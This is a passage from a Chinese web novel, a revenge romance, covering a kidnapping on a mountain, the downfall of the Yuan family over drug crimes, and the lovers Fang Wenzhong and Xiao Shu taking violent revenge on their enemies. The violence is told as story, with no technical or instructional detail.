手被反捆着,嘴里塞满东西待在黑暗的头套中,方闻钟能感觉到他们被塞在一辆狭窄的车里!四肢蜷曲,比原一清幸运的是,他没有原一清那么鲁莽,剧烈挣扎,以至于绑架的人害怕麻烦,一抬手就在原一清的后脑勺上重重一敲!原一清晕死过去了。 路途颠簸,方闻钟尽力保持冷静,说不害怕是骗人的,首先,他完全没有预料到有这一出,临走前也没有联系过萧疏,其次,能动手绑架原一清的人,正是原董忌惮的势力,用脚想也知道,不是什么简单的好人。 他心里冷得发沉,不禁猜疑,刚动手之人是用什么打原一清的。 不会是木仓托吧…… 这点,很快在他们被带到一个废墟中的木头房子,粗鲁地摘了头套后得到了证实…… 两个多小时的车程,哪怕跑最快的速度,再被拉扯走上半个小时,方闻钟不动声色地环顾四周,以及他们来时路上的土地触感、味道,让他猜测,他们还在本市呢!就是不知道哪一座山头上…… 两个绑匪骂骂咧咧,多了一个人质他们也不在意,原一清还在吼叫,什么让他们放了他,要钱要什么他都能满足……愤怒和不解,在看到绑匪的木仓时,通通变成嗓子里的哑炮,徒留一脸扭曲。 绑匪在原一清腿上踹了一脚,连累地方闻钟也挨了一顿,人出去了,散发著冷意和恐惧的房间,只剩下他们。 方闻钟发著抖,脸色死白一句话都说不出来,原一清转头,脸上带着血说出了句人话:“对不起,是我连累你了。” 绑架他,很可能因为他有钱或者他父亲,原一清心里有数,绑架方闻钟,不可能…… 方闻钟摇头,眼里泪意闪过,终究强装镇定,没有流下来。 绑匪起先日夜不停地监视着他们,完全没有逃脱的可能,连说话也成了奢侈,会被人打,吃的东西,就是扔过来的冷硬馒头,方闻钟掰了一点点,把多一半给了原一清,原一清感动不已,可又实在难以下咽,只好全便宜方闻钟吃了……方闻钟在睡觉的时候,说离原一清远一点,让他好好休息,原一清的腿伸展不开,需要地方活动…… 以上种种,在方闻钟琢磨着现在的情况,找有没有机会逃走时,原一清沉浸在方闻钟的善良和对他好中,他窥视着他的身影,承诺他:等出去后,一定好好报答方闻钟。 原一清想:这一次,他一定不会再将人雪藏了,待在他身边,享受做一只被宠爱的金丝雀,不好吗? 方闻钟从断茬的木头缝隙中,低头垂眸,转身回神,“好,”他幽幽地注视着原一清。 但愿你还能活着出去,能光明正大地再跟我说话。 待在这里越久,危险就多一分,方闻钟知道,绑匪的目的是原一清手里的东西,只不过他们现在还在等人,到那时,原一清死不死无所谓,他一定不会被留活口!更遑论先一步带东西逃走。 心里焦心,面上却不露分毫,在漫长的黑夜里,方闻钟那么想念萧疏的怀抱。 可他联系上原一清的那一刻开始,他就短暂地把萧疏抛之脑后,现在情况更是复杂。 第二天一早,方闻钟藉口上厕所听到绑匪其一要下山一趟,时机正好!因为他不是什么重要人物,所以对他的防备心没原一清那么强,方闻钟被赶回木头房子时,已经准备跑路了! 他替原一清解开绳子,原一清错愕,方闻钟手里还顺着一把小刀,几下就轻巧地没发出声响拆了一个能出去的口! “走!”方闻钟厉色,眼神凶狠,原一清忽然看不懂,但方闻钟要原一清心甘情愿地亲手柄东西交给他! 跌跌撞撞,看似毫无方向,可方闻钟一直往深山里逃,没人接应,他知道往山下跑只会死路一条!除非先藏起来! 方闻钟现在脑子里只有一个念头。 砰—— 硝烟掠过!心像被惊天巨响砸了一个大洞!人还没来得及反应过来时,身体的剧痛已经让原一清凄厉惨叫,这下,方闻钟将视线挪到他右小腿上。 咕噜咕噜的血窟窿,原一清已经栽倒在地,一米都无法往前爬。 方闻钟过去死死地抓住他的手,原一清迅速将自己身上带的唯一能证明他身份的东西交给方闻钟!“你先跑,你一定要逃走找到我父亲,他看到这个会相信你的!然后带人来救我!” 说到最后原一清脸上青筋凸起,全剩爆喝! 只要他不逃,这群人就一定会留着他的命要钱还是要谈判什么,他相信自己,不走也能活下去的。 原一清抓着小腿,将唯一的希望放在方闻钟身上。 而方闻钟不负他所托,“我知道了,”手里的U盘死死地握紧,硌得人手心发疼,方闻钟却像毫无感觉,这就是他一直以来想要拿到的证据吗?终于到手了,他的目光审视着原一清,让原一清误以为那是珍重和不舍。 他一定有办法逃出去的!方闻钟忽然头也不回地起身,扯开原一清的拉扯。 手上沾满了仇恨的人的血,方闻钟的心从未有过一刻像现在这样痛快!他不要命地往上爬!在绑匪过来抓住原一清时,他也不见身影…… “妈的!” 原一清失魂落魄,最后,方闻钟为何用那样冷的眼神看他,一定是他想多了,想多了……- “嘀嘀嘀,你所拨打的电话无法接通,你所拨打的电话无法接通……” 萧疏沉默着。 站在窗台,如同一头可怕的、伫立的野兽。 第123章 方闻钟:“萧疏,你爱我对吗?” 脚步急促地下楼,沉着脸打电话时,萧疏声线紧绷地吩咐:“查查方闻钟现在在哪里。” 从方闻钟失踪到现在,过去了八个多小时,等人终于联系不上晚上也没有回家时,萧疏才意识到,方闻钟很可能不见了。 不见了是什么意思,等在监控室里,看到想要的答案,萧疏一下抬起单手撑桌的手,“好样的,”他扶着腕表。 监控画面里,方闻钟一身居家服,被原一清带走了。 萧疏不去想方闻钟是不是自愿上车,他只知道,原一清在考量他的忍耐力。 深更半夜,一群黑衣保镖冲进原家,震醒了提心吊胆的老人,睡觉被打扰,可一帮土匪一副主人翁架势搜来搜去,很快,家里上上下下被闹了个天翻地覆! 原董不知道发生了什么,差点气出心脏病,这里的安保像纸一样脆,“你们这是强闯民宅,我要报警!”原董拄着拐杖被人搀扶在角落,黑衣人头领却完全不在意他,搜完后联系萧疏,“人不在。” 萧疏已经有了心理准备,“知道了。” 继续查!在这个忙碌的深夜,萧疏身上展现了从未有过的黑暗的力量,而他的下属们,从头至尾相信他、服从他,高效而危险。同一时间不同地点,警方也在侦查,当查到方闻钟和原一清一起,被绑架上了一辆白色SUV,时间已经到了第二天早上。 原董被传唤带回警局,引起轩然大波,萧疏点着一根菸,心里那点迷雾逐渐散开。 原家肯定出事了,且是触犯了法律还有幕后黑手的大事,方闻钟才被原一清连累一起遭绑架。 比被原一清带走更糟糕的是,制造绑架的人,肯定不是单纯地要钱勒索,他们要的是命!这点他和原家都清楚,对方是亡命之徒,这也就意味着方闻钟处境很危险。 在警方还未锁定原一清和方闻钟的行踪时,下午,萧疏已经带人先一步往山上追去。 萧瑟冷硬的冬季,树木沙沙作响,一群训练有素的人如同缄默的狼群,跟在萧疏身后,他是他们毋庸置疑的首领和掌权人。踩过树枝,太阳西斜,萧疏舒出一口气,“通知警方,人应该就在这里。” 他发现了不对劲。 话音刚落,山林间一声突兀的木仓响让所有人脸色异变!气氛更是蒙上一层阴云!下属们尚且如此,担心方闻钟的萧疏,不做夸张地说,刹那间,心跳停了一瞬。 他不敢想可能发生了什么,只抱着一个念头,尽快找到他!弄死他! 木仓声为大家提供了目标和方向,所有人都往那边跑去,警方也没慢多少,就在萧疏他们通知的前一段时间,也带人追到这座山,此时,就坠在萧疏他们身后不远,这一惊变,倒是加快了步伐。 更多声木仓响,映入眼帘的,是倒在血泊里但只有两条腿受伤的原一清!两个绑匪就死在他身边!被几个保镖夺过木仓,迅速灭口! 没有心慈手软一说,显然这是萧疏的默认,原一清更是吓得屁滚尿流,原来,第二个绑匪来发现方闻钟逃走后,气得又给原一清腿上来了一木仓,以防他再跑,他们的人也马上来了,那个跑掉的小男生,应该也活不了! “他呢?”萧疏对死人视若无睹,甚至镇定地蹲下拉着原一清的领子,问了一句。 原一清吓破胆了,好半晌才哆哆嗦嗦,看清来人是萧疏!更是差点昏过去! “他呢。”萧疏又问了一遍,如果忽略他下死手,盯死人一样的眼神和差点窒息的原一清的话…… 原一清终于开口给了他答案,“跑了。” 萧疏还要再细问,警方也极速赶到,一见到他们!原一清终于支棱起来了,再也不怕死了,顿时涕泗横流,整个人瘫软下来,却忍不住看向萧疏。 “哈,哈哈,咳,你是问方闻钟吗?” 原一清眼里全是挑衅,在他心里,方闻钟很好,明明被他设计雪藏包养,还不记恨他乖乖给他还钱,明明刚被他连累一起遭遇这种可怕的事,却不抱怨他,害怕着还要照顾他,找到逃跑的机会也要千方百计拉他一起走!虽然最后他们分开了,但方闻钟一定会没事,他也相信方闻钟一定会记着他。 眼下一切得救,原一清高兴,却对萧疏的出现心里堵着一口气。 他为什么这么快找到,他凭什么来这里质问他?他和方闻钟是共患难的关系,他还打算以后对方闻钟好,萧疏又是哪里冒出来的,关他什么事? “他为了帮我引开绑匪,先跑了啊。”原一清模糊事实,哈哈大笑。 而萧疏只听到了‘为了他’三个字,一脚踢在被警察搀扶着的原一清的头上,原一清来不及闪避,众人也没反应过来,直挺挺地让原一清倒下去! 萧疏还气不过,靴子踩在人头上,原一清被连踹了好几下最后肩膀像快被卸掉了的时候,萧疏终于被警察拉住喝止,太迟了,原一清满嘴血沫大脑只剩下一丁点意识。 萧疏可怕的行为和气场大家都看在眼里,但警方能怎么做,一问绑匪,是他们正当防卫木仓走火了……警方还要感谢他们帮忙找人呢。 萧疏越生气,原一清越爽,“他把吃的留给我,他照顾我睡觉,被打时,他还替我挡着……” 每说一句话,他就吐出一口血,萧疏终于失去所有冷静,压抑的暴怒,全变成了发疯,“你他妈是真不怕死啊!” 在无数人的拉扯下,原一清没有挨到萧疏致命的一脚,“他人去哪了!” “咳,咳咳,你不知道吗,他曾经是我的情人,我真没想到,你萧疏,也有一天,会为了别人,睡过的玩意儿,在意至此……” “砰!”砰! “你干什么!”- 原一清下腹部一个空包弹打出来的窟窿,从旁边夺过来的木仓还散发著火药味,被从手里夺走时,萧疏没有制止,在无数惊呼和惨叫中,萧疏带人转身,却不小心跌倒。 刚才两声木仓响,一声是他开的,还有一声,在山的另一头,他听到了!可却像打在他心上!这一刻,他不知他刚才的疯狂、恐惧,究竟是害怕原一清说的话是事实,还是担心方闻钟,还活着吗? 一位保镖将萧疏扶住,他们何时见过他这样狼狈无措的模样。 萧疏要去寻方闻钟,他坚信他就在那里,警方也很快跟上。 是绑匪等的人,双方交火,几个小时过后一切平息。天要擦黑,方闻钟还不见踪影!活不见人死不见尸!原一清必须要先被安排下山了,留着一口气他还不死心,其实原一清也只是让自己坚信,方闻钟是真心那样对他的,他一遍遍粉饰挑衅萧疏的话 ,也不过是为了让自己忘了,方闻钟离开他时的那个眼神。 他不会抛下他的,不会故意拿走他的信物将他扔给绑匪! 找遍了四周,萧疏已经超过四十个小时没睡觉,冷意和极度的焦躁,已经让他身上结了一层霜,嘴上干起一层皮,而他越是这样,原一清越是不解。 “你为什么,这么在意他?” “你不知道吗?他因为,他爸的疗养费,心甘情愿,被我包养,伺候我,你表弟就是因为这个,针对他,不过,不过被我玩儿烂了,”原一清眼神浑浊。 “你稀罕,让给你也无妨。” “不过你要拿别的来跟我换……”他口气断断续续,萧疏踏着死亡的脚步,一步一步冷肃地朝他接近,他的手心里全是血,曾经方闻钟钟爱的指缝红痣,现在也泡在血污里,萧疏眼里的原一清血肉模糊,将死之人,他让他再快一步又何妨。 “两个亿……” “萧疏。” 背后那声呼唤,轻得让萧疏以为那是幻想,他驻足,“萧疏。” 才明白不是错觉,转身一看。 一个小野人一样的方闻钟,就站在他不远处,突然出现在他面前。 “萧疏,别换,”很快,方闻钟过来抱住萧疏,扑在他怀里。 显然,他也听到了原一清对萧疏说的话。 而萧疏只在意,他经历了什么! 方闻钟逃走后,一直往山上跑,他躲在一个勉强能藏身,但伸手不见五指的山洞里!听着外面风声鹤唳,他也怕,是不是有人来找他。在命悬一线的时候,他担忧警方能不能赶快找到他们,他能不能逃出去,还有萧疏,他是不是很生气。 木仓声响起的时候,他坚强又脆弱,等平息下来他孤注一掷地跑出来后,竟先是看到了他。 无人懂那时方闻钟的软弱和救赎。 他是来找他的,方闻钟终于也有了人竭尽全力地惦记。 “萧疏,”他带着一身土和枯草,贴在萧疏颈侧,“这次我是你的了,你不用和他换。” “我没有,没有和他发生关系,”背后的手臂一紧,那是萧疏不容置疑的力道。 好好看看人,方闻钟没有受伤,只有手里攥着一个,彷佛比他命重要的U盘,萧疏从不低估方闻钟的手段,现在也开始重视他这次接近原一清的目的,萧疏被方闻钟逼到失态。 生气、担忧、恐惧、嫉妒、吃醋、暴虐、劫后余生……所有情绪都无法宣之于口。 长长地憋着一口气,差点成了冷嗤,而他竟还听到对面之人小心翼翼问了一句。 “萧疏,你爱我对吗!” 第124章 萧疏:“我爱你。” 方闻钟乖乖地洗完澡,在浴室里磨蹭了很久还不敢出去,因为山上的最后那一问,他以为萧疏会抱着他,狠狠流泪说爱他。 结果,萧疏当时冷咳了一声,双手捏着他肩膀快把他手臂捏碎了,他猝不及防咳了好几下,然后以一种方闻钟看不懂的极其凶狠的眼神看着他! 萧疏点头,一字未发。 不知道是不是气狠了。 现在萧疏就在外间沙发上,明明惹出那么多事,警方那边忙得要死,萧疏却把所有重要的事交给下属去交涉,从警局回来后他独自坐在这里等方闻钟。 等他的一个解释。 方闻钟包裹着浴巾,擦着半湿的头发,他下面没穿衣服,白嫩的脚踩在木质地板上,在萧疏的注视下低头磨蹭过去,却直接坐在萧疏腿上。 “萧疏……” 方闻钟的计画里,他一次一次给原一清挖坑找麻烦,他知道,要想整倒原一清,必须要扳倒他背后的原董。所幸原董本身不是一个守法的人,他身上的丑闻,以及一笔一笔资金异常变动,让其他董事抓住更大的马脚,也让方闻钟有机会挖出他背后的真相,拿到毁灭原家的证据! 他是主动跟原一清走的,他是故意接近他让他卸下心防,只为了拿到东西,原一清是骗萧疏的,他没有为原一清做过那么多事…… 方闻钟越解释越急促,萧疏点头,“我信你。” “所以原董被警方带走,也与你有关,原家出事的一切源头,也是因为你?” 方闻钟一滞。 “为何说与我有关?”他嗓子发紧,人直接僵硬,“凭什么说是因为我!”方闻钟忽然情绪激动,“是我让他犯法的吗?是我让他干坏事的吗!性|侵、洗|钱、甚至还有更令人发指的恶行,是我拿着木仓指着他?这与我有半毛钱关系!” 方闻钟也不确定原家究竟藏着什么秘密!在无数个想要整倒原一清的深夜,他也曾祈祷,最好他们有值得让他孤注一掷设计的资格! 如今真相到手,竟惹来这样一句质问。 萧疏按住他,“别激动,那你知道让绑匪害怕、忌惮,原家视作救命稻草的把柄,究竟是什么吗?” “是贩卖毒|品。” 萧疏紧紧地抱住方闻钟,因为见识过太多,从方闻钟失踪,到原董被警方传唤,绑匪身上带枪!萧疏就隐隐有预料,所以他才那么怕方闻钟试探地一次接近、利用,很可能会造成无法弥补的后果。 真要到那时候,他找谁说理去…… 萧疏的担心终于传递到方闻钟身上,他明白,原来萧疏不是责问,只是害怕,万一。 “为什么一定要置原一清于死地?”萧疏的下巴还搁在人肩上,经过这一遭,原家再想逃出生天,几乎没有可能! 从警方那里得来消息,原董因为涉嫌洗|钱、贩|毒等多项经济、刑事犯罪,最好的结果也就是不连累家人,原家的公司一滩烂泥,藏着多少污垢,走了一个董事还有无数豺狼急着上位,但原一清不会再有机会当大少爷了。 家破人亡,他身上也有洗不清的污点。 “因为他曾经拿我父亲的命来威胁我,羞辱我,停掉我的工作,让蓝亦千方百计来针对我!他不是喜欢玩弄掌控别人的人生吗?那我也让他尝尝这个滋味。” 方闻钟咬牙切齿,“你是不是想说,他对我没造成多少伤害?还不如蓝亦欺负我多?” “可一切的始作俑者不是他吗!他凭什么犯了贱后就可以作壁上观?” 恨原一清,一点不比恨蓝亦少,上辈子的事方闻钟没法对萧疏说出口,所以现在的解释显得轻飘飘的,彷佛远不到那个程度,方闻钟的报复,显得有些过犹不及。 方闻钟从萧疏怀里挣脱出来,两只手搭在他肩上看他,似乎在等,萧疏对他的宣判。 萧疏抬起手,指腹轻轻拨弄他嘴唇,把它从牙齿下解救出来,他还未作答,方闻钟好像已经知道了萧疏的态度,他眼泪控制不住流下来了。 “你想对他做什么都可以,身首异处也可以,”萧疏的手捧着方闻钟的脸,淡定地给予他最正确的答案,“我有些,心疼你。” 方闻钟彻底绷不住了,萧疏这句噙着微笑的呢喃,一瞬间抚平了方闻钟身上所有利刺和防备,他先是滴水般的流泪,后来控制不住哭出声音,“那你会帮我,帮我对吗?” “还不够,太慢了,等看到他们的下场太慢了。” “萧疏,我废了那么大劲只能伤他们皮毛,我没有办法让他们顷刻间崩溃坍塌,没有办法阻止他们有逃脱起复的可能,我不想看到他们还有转圜的余地!我厌恶原一清那张脸,恶心他的做派,可我却只能做到这里了,萧疏,我拼尽了全力。” “你能帮我吗?你能不择手段地做到我想要的一切后果吗?”方闻钟在给他的骑士下降头。 而他的骑士心甘情愿。 “我能,我会帮你!”萧疏将人压到身下,亲上他的炙热,方闻钟又怎知,一切的一切,从蓝亦、到原家,再到方闻钟的所作所为,萧疏全知情。 他亲吻着他的嘴唇,间隙时,方闻钟将手指插|进他的指缝,两人五指相扣,狠狠地握在一起,萧疏亲完人,盯着两人的手,方闻钟也视线看过去。 忽然,萧疏低头,捞起方闻钟的手指,在他中指脆弱的指缝处,狠狠烙上自己的牙印。 方闻钟痛呼出来,看到萧疏起开,看到他嘴角的一滴血,愣了。 中指指缝处渗着血,刚被他咬破了,而萧疏用自己的红痣,两人手掌相贴融合到一起,“方闻钟,我爱你。” “我爱你,”在他们亲密无间时,萧疏又重复了一句这样的告白,他亲著他的脖子,脸颊,手掌抚摸着他的后背,在焦灼和凶狠下,藏着他最温柔的第一次表白心意。 他终于对方闻钟说出口了,我爱你,显而易见。 方闻钟先是默默流泪,然后爆哭出来。 他等的就是这一刻!在和萧疏相处的无数个时间里,他都在内心猜测,萧疏对他的感情有几分,他试探着,在他的底在线左右摇摆,他不自信,萧疏真的有一天会为他肝脑涂地,可四下望去,他只有这一条路,还是一条钢丝路。 他只能热切地往前走,在萧疏给予的那些陪伴和温柔里,相信前方有他想要的一切。 方闻钟活得太累了,萧疏都知道。 从这一辈子遇见他的第一刻开始,方闻钟就在想:拿下萧疏,勾引他,利用他!他的一切行为,不过是为了今天真相快大白时,快要将原一清和蓝亦置于死地时,听萧疏说一句:“我愿意,我会帮你,剩下的交给我。” 萧疏起身,怀里的人快哭晕过去,攻略进度100%,方闻钟在心底里打下一行字,计画成功。 他赌的是萧疏对他的感情,萧疏难办的却是,如何将心疼一点一点释放出来……不惊到他。 他站在镜前,一下一下打好领带,斯文有礼,可要干的,却是去伤天害理的事,对原一清来说。 “方闻钟,很愿意为你,披荆斩棘。” 剩下的,交给我- 医院里病床上原一清被抬起腿,身上包成了粽子,脸颊上还能看出曾挨过的毒打,鼻青脸肿,哪那么容易好。 在医院住了两天,迟迟等不来家里探望,反而有数不清的警察,他开始心慌了,等听到门被打开的动静,他抬起脑袋,看到两个保镖迎接进来的萧疏,原一清彻底惊住。 他忘不了这三个穿黑色西装的男人,如今逃出来脑袋清醒了些,他再也不敢像曾经山上那样疯了似的不要命地挑衅萧疏。 眼前三人,后面两个当着他的面毫不犹豫地杀了两个人,为首之人不动声色却敢拿警察的木仓朝他开木仓! 现在他躺在病床上!不知道发生了什么!他们竟都好好地站在这里,还敢来他这里探视。 “让我来给你好好说道说道,发生了什么,”萧疏坐在原一清对面的椅子上,翘着二郎腿。 手里抛着一个不太光滑的橘子,他饶有兴致地敲了敲原一清的断腿,明明不是多严重的动作,原一清却本能一缩。 现在的萧疏完全不一样了。 看众人的眼神,恶劣玩味,彷佛一切都在他掌控之下,如同恶魔被放出牢笼,不再压抑天性!这一天,终于到来。 敲敲腿,踢踢人,萧疏好整以暇地开口,“你爸因为洗|钱财务造假贩|毒性|侵等多重罪名,被逮捕了,保守估计一个死刑,你倒是还好,被牵连。” 连日来的不安,被一句放大,原一清瞳孔大睁,心里的所有幻想破灭。 “接着,你们公司可能会申请破产,四分五裂,你问为什么没人接手?哦,忘了说,因为我不允许,一滩烂泥就该让它彻底烂在地上,救什么救,花那功夫。” 橘子在原一清眼前一上一下,彷佛被提起来扔下去的是他的心,“可惜,这下你爸留给你的东西,就一滴不剩了。” 萧疏握着橘子,弯腰靠近原一清,他歪头,“我不懂,你明明有了蓝亦,为何又来招惹方闻钟?” “你不知道吗?我早早就看上他了。” “在轮船上你朋友被打得头破血流的时候,我在海里救下了方闻钟,我问他,你要跟我吗?我和他约在酒店,问他要不要和我上|床,周导的别墅里,你猜你看到的和我在泳池激吻的人是谁?” 原一清的世界被一次次震碎。 “剧本是我给的,不是周导,为的就是天天见到他,近水楼台。在酒店宴会厅,你迟迟打电话等不来他的时候,我正握着他的手给我纾|解。关于你和他的事,我查得清清楚楚,你还是不死心,一次次犯到我面前给我恶心,出丑。” “你不知道吗?我们两情相悦,他早已是我异常珍视的人,他那么乖,而你却多次觊觎他,伤害他……” 原一清明白了,随着萧疏最后一句话落,他终于想清楚了! 方闻钟肯定不是为了帮他,救他,他早攀上了萧疏,那跟随他一起被绑架,最后拿到他手里的U盘,是不是才是他最重要的目的?U盘就是他父亲给他的,最后导致他们家出事的罪魁祸首……再往细里想,方闻钟是不是早知如此,这里面也有他的计画和手段?! 惊醒过来后原一清克制不住地愤怒,可他的愤怒没有一点鸟用,尤其萧疏看到他对方闻钟露出这样恨极的表情,更是忍不住直接卸了原一清的下巴。 “呵,呵!”原一清惊恐。 还没完,萧疏弯腰,在他耳边魔鬼低语,“想明白了就好,就知道都是你们罪有应得,原一清,你不该像现在这么轻松的。” “接下来你也会扯进你爸的案子里,你并不无辜,会有无数证据指明,你爸对你的庇护,不过是一场伪装,蠢不是你的保护色,你不知道你爸贩毒吗?不见得吧,他的钱可基本都流向了你,等待你的,将是一场地狱般的牢狱之灾。” 原一清的慌乱畏惧,通通被萧疏捂住口鼻无法发声,“好好享受吧,”咔嚓一声,萧疏已带人离开。 后来,原董直接被判死刑,原一清十年有期徒刑。 原家分崩离析,支离破碎,曾经耀武扬威的公司大楼,如今只剩下一座座废墟…… 第125章 大仇得报 而此时的方闻钟,被萧疏养在一幢新购置的别墅里,和他那只独眼猫一起。 被照顾得很好。 距离出事已经过了段挺长时间,萧疏来告诉方闻钟最后的结果,“这个下场,你还满意吗?” 他仰着头,问台阶上方的小男生,男生细白的胳膊,养出了些肉,脸上也多了红润轻松,脸颊肉一鼓一鼓,那是给猫猫不要,被他吃了的糖。 “嗯,”他点头,人人惧怕的萧疏,在他面前像一个听他差遣的小弟,“还可以吧。” 原一清坐牢,也算是完了。 近日原家的公司被拆得七零八落,其他董事气得上蹿下跳,但乾着急也没办法,萧疏背后不只有警方的支持,他的身份以及势力都代表着庞然大物,真要对一家集团公司出手,可以赶尽杀绝。 说到最后也只能说萧疏的手段太过狠厉,竟然把人家一家人毁了还不甘心,所有资产也要付之一炬,肯定是原家得罪狠了他。 一时之间,成了商场上的罗刹。 萧疏伸手,示意他下来,他会接住他,“你的合约结束了,接下来想干什么?” 娱乐公司解约的解约,跳槽的跳槽,像方闻钟这样的小喽啰,没出过几次镜,无人在意。 “我给你开家公司怎么样,你当老板,想做什么做什么,想演戏就演,不想演就躺着赚钱。” 萧疏手臂抱着人,两人一起坐在藤椅上,方闻钟笑着埋他怀里直摇头,“你要干什么啊,这么夸张?你看我是当老板的人吗?” 萧疏正色,“当老板只需要你有钱,而且会赚钱。”具体事务,有的是职业经理人做。 他竟是认真的,方闻钟:“不了。” “萧疏,”过了会儿他还是忍不住发问:“这就是你爱一个人的方式吗?爱他就给星星给月亮,什么要求都答应,任他为所欲为恨不得把他宠到天上去?” 萧疏本来拿出手机,一边听方闻钟讲话,一边在手机上回消息,闻言,他仔细看着腿上小心翼翼又暗含期待,这样看他的男生。 “对,”他笑着坦言承认,“我爱你,会做到你想要的一切,哪怕你往后日日站到我头上去我也答应。” “哈哈哈哈……”方闻钟咯咯的笑声,在萧疏捞起他,把他抱着往别墅跑时,笑得更开怀。 爱一个人不需要选定一种方式,而是本能,本能地告诉他对方需要什么,想要得到什么,为此,萧疏可以藏起很多很多,方闻钟现在还不以为然的深情,只展现出他对方闻钟的着迷、听话,食髓知味。 “我站到你头上去做什么……”方闻钟喘着气,“只要这样,这样就可以了啊,”他骑在萧疏身上,脸红扑扑的,两个人都被折腾出一声汗。 被确定地爱着,踏实的感觉真好。 “这次可不许半路睡着了,”回答他的,是一跃而起坐起身,彷佛才满血复活的萧疏- 蓝亦偷偷回国了,他是来看原一清的,两个人见到对方都惊诧无比。 原一清憔悴、颓废,活生生像老了十岁,他穿着普通的条纹衣服,知道蓝亦来先是激动地上前抓住什么,可看到蓝亦那张脸,顿时止了动作,一脸错愕。 距离蓝亦毁容,已经过去了几个月,而他经过最好的治疗,还是没办法让整张脸完好如初! 面颊上交错着几道狰狞的伤口,又生长出红色的新鲜血肉,它们让蓝亦的嘴唇歪曲,让他丑陋不堪,还要忍受奇痒和疼痛。 蓝亦被原一清的表现伤到了,当初受伤时,他没有跟原一清说,而原一清竟也没有追问后来关心过他……听到他坐牢的消息,蓝亦忍着被耻笑,被厌恶的难堪,坐到了这里,没想到原一清果然不出他所料。 可他还是爱他怎么办?还是担忧他…… 许是蓝亦的眼神,让原一清良心发作,没有再往他伤口上撒盐,他握住蓝亦的手,假惺惺关心。 “原哥哥,”蓝亦哭出声。 心痛不已,原一清怎会落到如此地步,“你不用担心我,我已经快好了,你是怎么被陷害了吗?是不是Caspian,就是萧疏?” 本以为听到萧疏的名字,原一清会肯定点头,谁料,他咬牙切齿地说:“是方闻钟。” 是方闻钟,那个小贱人,算计他折磨他,他背后可能还有萧疏的指使,但现在原一清不敢攀咬上萧疏,他畏惧他的作为,于是所有的愤怒不甘都找上了方闻钟这一个情绪宣泄口。 柿子要挑软的捏,报仇也是!原一清拉着蓝亦,一遍遍要求他一定不让方闻钟好过。 他在祈求他,他说只爱他,他都快哭了……蓝亦定定地看着被拉远的原一清,眼泪停在眼眶里,虚情假意和真心,蓝亦分不清原一清对他是什么,但他对原一清是真心的,所以他愿意为他报仇。 他一定要让方闻钟生不如死! 原家的案子竟然迎来了新的后续!原董贩卖毒|品的交易路线,竟然与蓝亦有关。 “方,闻,钟,我回来了。” 当方闻钟收到这条陌生消息时,蓝亦已经逃得不知所踪,警方布下了天罗地网。 “果然会来,果然他不会轻易罢休,”方闻钟捏着手机出声,正好,他从不奢求蓝亦放他一马,他也有跟他没算清的账要算! “嗯?”背后没听清的萧疏靠上来。 “萧疏,”方闻钟回头,严肃冷酷,“我要让蓝亦死,你会做到吗?” 萧疏停在原地- 他们出国了,在一次萧疏和朋友的聚会上,方闻钟喝多了酒,被人偷偷带走。 他在狭窄的厕所隔间里,看到了毁容之后的蓝亦。 蓝亦望向被绑着手瘫坐在地上的方闻钟,可方闻钟同样望过来的眼神里,没有丝毫恐惧,有的只是对他的打量,好奇。 蓝亦的心像被一把无情的手攥紧、捏碎,他出离地愤怒了,“看到了吗,这就是萧疏干的,而他是因为你!今天我会千倍万倍地让你还回来!” 方闻钟的头被剧烈摇晃,蓝亦因为脸受伤,所有表情都在失控、挑战人审美极限的边缘,原来毁容不是因为摔下去不小心啊,是人为。 方闻钟突然笑了一下。 再提起萧疏,蓝亦还是恐惧他的心狠手辣,所以他把方闻钟带走,离开萧疏的身边! 转移到一艘船上,蓝亦甚至来不及对方闻钟做什么,就带着人开出了码头!方闻钟天生就跟船犯冲,他知道,此时坐在地上靠着一根床柱,方闻钟扫视这间房间。 蓝亦带人进来了,他手里举着一根针管,后面是几个粗壮大汉。 早有预料,看到透明的针剂时,方闻钟还是控制不住地往后一凛,自投罗网吗?看着蓝亦诡异的洋洋得意的表情,方闻钟在背后解开自己的手,在他看来,这是不入虎xue焉得虎子,让蓝亦自食恶果! 刹那间,在来人都没反应过来的时候,方闻钟挣开一切束缚暴起,夺过针管狠狠插进蓝亦的脖子! 他没有留一丝手,脸上全是凶恶和狠毒,幸好这段时间经常找萧疏练手,这下就是奔着要人命的结果去的。 巨大的轮船周围,转瞬被无数游艇包围,萧疏带着一身水汽上来,就在方闻钟听到声音,夺过蓝亦手中的东西扎到蓝亦自己血管里时,房间门被一脚踹开! 蓝亦回头回到一半,握着颈侧的针管,而方闻钟早丢下他,快步跑到萧疏身边去。 萧疏的怀抱,第二次充满颤栗、刺激的火药味,还有令他安心的,永远保护他的爱人的味道。 “出去,”拥抱半晌,萧疏把方闻钟拉开,面色冷硬地对他这样说。 “别担心,我早有准备,”方闻钟抓着萧疏的手臂,想要安抚他。 “出去,”萧疏看着几个肌肉大汉,还有地上已经陷入幻想中的蓝亦,重复说了一遍。 门被关上,方闻钟站在外面吹着海风,他不知道里面发生了什么,但大致能猜到。 他只是不知道,萧疏还留在里面干什么? 等到天黑,萧疏出来,再也没有第二个人影从房间里出来,他啄着一根菸,刚出来就被海风吹乱了额头的头发,“脏,”方闻钟靠过来时,他说:“别靠近。” 方闻钟早义无返顾地抱紧他胳膊,两人一起迎着海风。 萧疏:“蓝亦嗑|药嗑多了,找人伺候时,不小心把自己玩死了。” 这是蓝亦最终的结果吗? 背后传来巨大的一声噗通声,是什么重物被丢进公海里。 “这里鱼很多。”方闻钟低头看。 “嗯,”萧疏将烟拿下来,“还有什么要我做的吗?”他转头。 方闻钟定定的,一句话不敢说,他们心照不宣,而方闻钟当初对蓝亦放过的所有狠话,今天都猝不及防地实现,我要你,亲手被你表哥碎尸万段。 这就是大仇得报的感觉吗?方闻钟的脸藏在黑暗里,久久不变,终于,他又向前走了一步,菸头微弱的火光,照亮两个人的脸部轮廓,沉默蔓延,他主动亲上萧疏的唇。 原来Caspian的爱是这么好利用的手段,原来这一刻到来时他也不介意把自己心甘情愿赔给萧疏。 “我爱你,萧疏,我亦爱你。” 第126章 萧疏和方闻钟的故事永不落幕。 【绝望、痛苦,被人箝制住身体不属于自己,方闻钟瑟缩着满脸青筋爆红,他的眼球快要烧起来了!不只因为怒火,还有陷入绝境的挣扎、理智消失殆尽……在那薄薄的铁皮方寸之隔,是觥筹交错的酒会,是衣香鬓影的名流巨星……蓝亦挽着原一清的胳膊,从容大方地跟别人碰杯交谈,他嘴角还挂着一丝怎么都藏不住马上要得逞的微笑。 